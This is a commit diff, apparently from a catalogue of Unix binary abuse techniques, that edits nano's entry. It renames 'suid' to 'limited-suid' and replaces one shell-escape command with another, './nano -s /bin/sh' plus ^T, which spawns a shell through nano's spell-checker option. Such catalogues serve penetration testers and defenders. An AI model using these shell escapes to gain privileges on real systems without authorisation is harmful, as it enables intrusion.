fix nano suid command

master
Mr. Robot 3 years ago committed by GitHub
parent cc817c1843
commit 58114cf752
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -11,7 +11,7 @@
], ],
"file-write": [ "file-write": [
{ {
"code": "nano [file]\nDATA\n^O\n" "code": "nano [file]\n[data]\n^O\n"
} }
], ],
"file-read": [ "file-read": [
@ -19,10 +19,10 @@
"code": "nano [file]" "code": "nano [file]"
} }
], ],
"suid": [ "limited-suid": [
{ {
"description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.", "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
"code": "./nano\n^R^X\nreset; sh 1>&0 2>&0\n" "code": "./nano -s /bin/sh\n/bin/sh\n^T\n"
} }
], ],
"sudo": [ "sudo": [
@ -31,4 +31,4 @@
} }
] ]
} }
} }

Loading…
Cancel
Save